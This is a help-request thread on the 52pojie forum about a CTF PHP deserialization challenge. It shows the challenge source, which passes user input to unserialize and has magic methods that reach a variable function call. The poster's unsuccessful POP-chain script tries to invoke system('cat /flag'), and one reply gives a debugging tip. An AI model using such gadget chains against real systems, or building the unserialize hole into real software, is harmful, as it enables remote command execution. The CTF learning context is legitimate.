吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 832|回复: 1
上一主题 下一主题
收起左侧

[求助] 一个PHP反序列化的题目

[复制链接]
跳转到指定楼层
楼主
GoogleHacking 发表于 2026-3-16 15:28 回帖奖励
本帖最后由 GoogleHacking 于 2026-3-16 15:31 编辑

题目环境:http://80-f797867c-ad4c-4a21-bbd ... allenge.ctfplus.cn/  

题目的代码:
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __set($name, $value){
        echo "他还是没有忘记那个".$value."<br>";
        echo "收集夏日的碎片吧<br>";

        $fox = $this->Fox;

        if ( !($fox instanceof All_in_one) && $fox()==="summer"){
            echo "QYQS enjoy summer<br>";
            echo "开启循环吧<br>";
            $komiko = $this->komiko;
            $komiko->Eureka($this->L, $this->sleep3r);
        }
    }

    public function __invoke(){
        echo "恭喜成功signin!<br>";
        echo "welcome to Geek_Challenge2025!<br>";
        $f = $this->Samsāra;
        $arg = $this->ivory;
        $f($arg);
    }
    public function __destruct(){

        echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

        if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
            if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
                die("boys和而不同<br>");
            }

            if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
                echo "BOY♂ sign GEEK<br>";
                echo "开启循环吧<br>";
                $this->QYQS->partner = "summer";
            }
            else {
                echo "BOY♂ can`t sign GEEK<br>";
                echo md5(md5($this->KiraKiraAyu))."<br>";
                echo md5($this->K4per)."<br>";
            }
        }
        else{
            die("boys堂堂正正");
        }
    }

    public function __tostring(){
        echo "再走一步...<br>";
        $a = $this->_4ak5ra;
        $a();
    }

    public function __call($method, $args){        
        if (strlen($args[0])<4 && ($args[0]+1)>10000){
            echo "再走一步<br>";
            echo $args[1];
        }
        else{
            echo "你要努力进窄门<br>";
        }
    }
}

class summer {
    public static function find_myself(){
        return "summer";
    }
}
$payload = $_GET["24_SYC.zip"];

if (isset($payload)) {
    unserialize($payload);
} else {
    echo "没有大家的压缩包的话,瓦达西!<br>";
}

?> 没有大家的压缩包的话,瓦达西!

然后我构造的pop链是这样的

<?php
class All_in_one
{
    public $KiraKiraAyu;
    public $_4ak5ra;
    public $K4per;
    public $Samsāra;
    public $komiko;
    public $Fox;
    public $Eureka;
    public $QYQS;
    public $sleep3r;
    public $ivory;
    public $L;

    public function __construct(){
        // 1. __destruct 绕过MD5强比较:数组md5为null
        $this->KiraKiraAyu = [];
        $this->K4per = [];

        // 2. 触发__set:QYQS为当前类对象
        $this->QYQS = $this;

        // 3. __set条件满足:Fox指向summer::find_myself,返回summer
        $this->Fox = ['summer', 'find_myself'];

        // 4. 触发__call:komiko为当前类对象
        $this->komiko = $this;

        // 5. __call参数绕过:长度<4 + 数值+1>10000(1e5满足)
        $this->L = '1e5';
        // 执行命令的参数:这里写你要执行的系统命令
        $this->sleep3r = 'cat /flag';

        // 6. __invoke命令执行:调用system函数,执行命令
        $this->_4ak5ra = $this;
        $this->Samsāra = 'system';
        $this->ivory = 'cat /flag';
    }
}

class summer {}

// 生成payload
$obj = new All_in_one();
$payload = serialize($obj);
// URL编码后传输
echo urlencode($payload);
?>

但是最后没做出来,求大佬指导下

发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
Maiz1888 发表于 2026-3-16 16:16
error_reporting(0); 注释下,看看报错不
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-11-11 05:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表